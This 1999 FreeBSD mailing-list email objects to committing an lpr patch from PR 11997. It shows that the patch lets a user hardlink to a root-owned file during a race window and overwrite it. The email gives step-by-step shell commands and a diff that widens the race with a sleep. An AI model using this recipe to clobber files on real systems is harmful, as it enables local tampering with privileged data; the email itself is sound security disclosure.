From owner-freebsd-stable  Tue Dec  7 14:26:22 1999
Delivered-To: freebsd-stable@freebsd.org
Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20])
	by hub.freebsd.org (Postfix) with ESMTP
	id E0A1714E4A; Tue,  7 Dec 1999 14:26:12 -0800 (PST)
	(envelope-from bright@wintelcom.net)
Received: from localhost (bright@localhost)
	by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id OAA17645;
	Tue, 7 Dec 1999 14:55:38 -0800 (PST)
Date: Tue, 7 Dec 1999 14:55:37 -0800 (PST)
From: Alfred Perlstein <bright@wintelcom.net>
To: Warner Losh <imp@village.org>
Cc: Garance A Drosihn <drosih@rpi.edu>, current@FreeBSD.ORG,
	stable@FreeBSD.ORG
Subject: NO! Re: [PATCHES] Two fixes for lpd/lpc for review and test 
In-Reply-To: <199912072106.OAA44391@harmony.village.org>
Message-ID: <Pine.BSF.4.21.9912071446050.4557-100000@fw.wintelcom.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-stable@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Tue, 7 Dec 1999, Warner Losh wrote:

> I've been reviewing this patch with someone and I think the last
> version is ready to commit.  I'll take a look at my tree to make
> sure.

please do not, the patch in PR 11997 introduces a major security flaw.

someone can hardlink to any file and clobber it with a file owned by
them:

try this:

as root:

# cd /var/tmp ; touch rootfile ; chown root:wheel rootfile ; chmod 600 rootfile

as a user:

% cd /var/tmp ; echo foo > foo
% lpr -r foo
sleeping

in another session as user:

% rm foo ; ln rootfile foo

wait a second...

# ls -l rootfile
-rw-rw----  3 user   daemon    5 Dec  7 13:38 rootfile
# cat rootfile
foo
#

ouch!

-Alfred

use this patch to make the race condition apparrent:


Index: usr.sbin/lpr/lpr/lpr.c
===================================================================
RCS file: /home/ncvs/src/usr.sbin/lpr/lpr/lpr.c,v
retrieving revision 1.27.2.2
diff -u -u -r1.27.2.2 lpr.c
--- lpr.c	1999/08/29 15:43:29	1.27.2.2
+++ lpr.c	1999/12/08 01:47:47
@@ -370,6 +370,27 @@
 		}
 		if (sflag)
 			printf("%s: %s: not linked, copying instead\n", name, arg);
+               if( f ) {               /* means that the file should be deleted */
+			printf("sleeping\n");
+			sleep(5);
+			printf("done.\n");
+                           seteuid(euid);  /* needed for rename() to succeed */
+                           if( ! rename( arg, dfname ) ) {
+                                   register int i;
+                                   chmod( dfname, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP );
+                                   chown( dfname, userid, getgrnam("daemon")->gr_gid );
+                                   seteuid(uid);
+                                   if (format == 'p')
+                                           card('T', title ? title : arg);
+                                   for (i = 0; i < ncopies; i++)
+                                           card(format, &dfname[inchar-2]);
+                                   card('U', &dfname[inchar-2]);
+                                   card('N', arg);
+                                   nact++;
+                                   continue;
+                           }
+                           seteuid(uid);
+                   }
 		if ((i = open(arg, O_RDONLY)) < 0) {
 			printf("%s: cannot open %s\n", name, arg);
 		} else {





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-stable" in the body of the message